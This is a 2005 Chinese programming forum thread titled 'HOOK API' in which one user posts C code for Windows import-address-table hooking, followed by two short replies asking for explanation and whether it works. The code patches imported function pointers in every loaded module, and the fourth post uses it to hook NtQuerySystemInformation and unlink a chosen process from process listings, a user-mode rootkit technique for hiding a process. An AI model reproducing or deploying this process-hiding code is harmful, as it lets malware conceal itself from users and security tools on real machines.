主题:[原创]HOOK API
erping
[专家分:3660] 发布于 2005-12-03 17:38:00
#include <windows.h>
#ifndef _WINAPIHOOK_INC_
#define _WINAPIHOOK_INC_
typedef LPVOID (WINAPI* _WINAPI)();
BOOL WINAPI SetWin32APIHook(LPCSTR, LPCSTR, CONST _WINAPI, _WINAPI* );
FARPROC WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName);
#endif
回复列表 (共6个回复)
沙发
erping [专家分:3660] 发布于 2005-10-22 19:24:00
#include <windows.h>
#include <tlhelp32.h>
#include "WinAPIHook.h"
/**********************************************************\
*函数名: SetWin32APIHook
*参数: LPCSTR lpszDll 输出 lpszFunction 函数的模块名
*参数: LPCSTR lpszFunction 要替换的函数名
* lpNewAPI 新的函数地址
*pOldAPIAddress 原先的地址
************************************************************/
BOOL WINAPI SetWin32APIHook(LPCSTR lpszDLL,
LPCSTR lpszFunction,
CONST _WINAPI NewAPIAdress,
_WINAPI* pOldAPIAddress)
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc; //输入表
PIMAGE_THUNK_DATA pThunk;
DWORD dwProtect, dwTemp;
HANDLE hSnapshot;
MODULEENTRY32 me;
CHAR pszBuff[_MAX_FNAME];
BOOL b;
BOOL bModify = FALSE;
HINSTANCE hInstance = GetModuleHandle(lpszDLL);
if (NULL == hInstance)
return FALSE;
*pOldAPIAddress = (_WINAPI)MyGetProcAddress(hInstance, lpszFunction); //保存原地址信息
if (NULL == *pOldAPIAddress) //获取 api 函数地址失败
return FALSE;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (-1 == (DWORD)hSnapshot)
return FALSE;
me.dwSize = sizeof(MODULEENTRY32);
b = Module32First(hSnapshot, &me);
板凳
erping [专家分:3660] 发布于 2005-10-22 19:24:00
while (b) //循环获取这个进程空间,每个模块的基址
{
hInstance = (HINSTANCE)me.modBaseAddr;
pDOSHeader = (PIMAGE_DOS_HEADER)hInstance;
if (IsBadReadPtr(hInstance, sizeof(PIMAGE_DOS_HEADER)))
{ //不可读的地址
goto _fine_next_moudle;
}
if (pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE)
{ //是否是有效的 DOS 文件头
goto _fine_next_moudle;
}
//PE 文件的地址
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)hInstance + (DWORD)pDOSHeader->e_lfanew);
if (pNTHeader->Signature != IMAGE_NT_SIGNATURE)
{ //不是有效的 PE 文件结构
goto _fine_next_moudle;
}
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hInstance + \
(DWORD)pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if ((DWORD)pImportDesc == (DWORD)hInstance)
{ //这个文件没有输入表
goto _fine_next_moudle;
}
while (pImportDesc->Name != 0) //循环获取这个模块引入的模块名
{
strcpy(pszBuff, (LPCSTR)((DWORD)hInstance + (DWORD)pImportDesc->Name));
strlwr(pszBuff);
if (strcmp(pszBuff, lpszDLL)) //是否有存在我要找的模块
{
//没有找到
pImportDesc++;
continue;
}
//找到后,开始查找是否引入我要找的函数?
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hInstance + (DWORD)pImportDesc->FirstThunk);
while (pThunk->u1.Function != NULL)
{
if ((_WINAPI)pThunk->u1.Function == *pOldAPIAddress)
{
//找到,开始修改
VirtualProtect((LPVOID)(&(pThunk->u1.Function)),
sizeof(DWORD), PAGE_EXECUTE_READWRITE, &dwProtect);
pThunk->u1.Function = (LPDWORD)NewAPIAdress; //修改值为 NewAPIAddress
bModify = TRUE;
VirtualProtect((LPVOID)(&(pThunk->u1.Function)),
sizeof(DWORD), dwProtect, &dwTemp);
break;
}
pThunk++;
}
pImportDesc++;
}
_fine_next_moudle:
b = Module32Next(hSnapshot, &me);
}
CloseHandle(hSnapshot);
return bModify;
}
3 楼
erping [专家分:3660] 发布于 2005-10-22 19:25:00
//重新写 GetProcAddress, 防止在 Hook 掉 GetProcAddress 后,在自己调用时,
//返回自己的地址,在这个 dll 中只可以调用 MyGetProcAddress
FARPROC WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_EXPORT_DIRECTORY pExportDir;
LPCSTR *pFunctionName;
LPDWORD pFunction;
LPWORD pIndex;
if (NULL == hModule && NULL == lpProcName)
return NULL;
pDOSHeader = (PIMAGE_DOS_HEADER)hModule;
if (IsBadReadPtr(pDOSHeader, sizeof(IMAGE_DOS_HEADER)))
return NULL;
if (pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE)
return NULL; //不是有效的 DOS 文件头标志
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDOSHeader + (DWORD)pDOSHeader->e_lfanew);
if (pNTHeader->Signature != IMAGE_NT_SIGNATURE)
return NULL; //不是有效的 PE 文件头标志
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pDOSHeader + \
(DWORD)pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if ((DWORD)pExportDir == (DWORD)pDOSHeader)
return NULL; //没有输出表
pFunctionName = (LPCSTR *)((DWORD)pExportDir->AddressOfNames + (DWORD)pDOSHeader);
pFunction = (LPDWORD)((DWORD)pExportDir->AddressOfFunctions + (DWORD)pDOSHeader);
pIndex = (LPWORD)((DWORD)pExportDir->AddressOfNameOrdinals + (DWORD)pDOSHeader);
while ((LPCSTR)((DWORD)*pFunctionName + (DWORD)pDOSHeader)!= NULL)
{
if (strcmp((LPCSTR)((DWORD)*pFunctionName + (DWORD)pDOSHeader), lpProcName) == 0)
{
return (FARPROC)(pFunction[*pIndex] + (DWORD)pDOSHeader);
}
pFunctionName++;
pIndex++;
}
return NULL;
}
4 楼
erping [专家分:3660] 发布于 2005-10-22 19:26:00
//进程隐藏
SetWin32APIHook(g_szNTDLL, g_szNtQuerySystemInformation,
(_WINAPI)New_NtQuerySystemInformation, &g_NtQuerySystemInformation);
NTSTATUS WINAPI New_NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS ntst;
PSYSTEM_PROCESSES p1, p2;
__try
{
__asm
{
push ReturnLength
push SystemInformationLength
push SystemInformation
push SystemInformationClass
call g_NtQuerySystemInformation
mov ntst, eax
}
if ((NT_PROCESSTHREAD_INFO == SystemInformationClass) &&
(ntst == STATUS_SUCCESS))
{
p2 = (PSYSTEM_PROCESSES)SystemInformation;
p1 = (PSYSTEM_PROCESSES)((LPBYTE)p2 + p2->NextEntryDelta);
do
{
if (g_dwHostProcessID == p1->ProcessId)
{
//非常注意....
p2->NextEntryDelta += p1->NextEntryDelta;
break;
}
p2 = p1;
p1 = (PSYSTEM_PROCESSES)((LPBYTE)p1 + p1->NextEntryDelta);
} while (p1 != p2);
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
ntst = -1;
}
return ntst;
}
5 楼
smd [专家分:0] 发布于 2005-11-07 00:51:00
能不能说明白点,俺菜看不懂
6 楼
huangzp76 [专家分:0] 发布于 2005-11-28 15:42:00
试过能不能运行哦?
我来回复